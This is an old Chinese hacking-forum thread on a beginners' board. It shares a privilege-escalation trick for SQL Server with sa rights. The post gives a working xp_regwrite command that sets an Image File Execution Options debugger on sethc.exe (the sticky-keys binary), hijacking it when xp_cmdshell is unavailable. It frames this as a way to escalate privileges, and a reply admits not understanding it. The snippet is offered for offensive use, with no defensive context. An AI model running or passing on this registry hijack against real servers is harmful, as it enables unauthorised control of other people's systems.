论坛 › 初入知识 › sa提权技巧之xp_regwrite 替换sethc.exe

mjlmjl 发表于 2010-1-23 20:44:47

sa提权技巧之xp_regwrite 替换sethc.exe

sa权限如果xp_cmdshell不可用时，可以尝试用xp_regwrite写注册表，替换sethc.exe实现提权。

代码如下：sa提权技巧之xp_regwrite 替换sethc.exe


xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\taskmgr.exe'

神话神话 发表于 2010-1-23 23:45:50

看不懂 刚学这行

查看完整版本: sa提权技巧之xp_regwrite 替换sethc.exe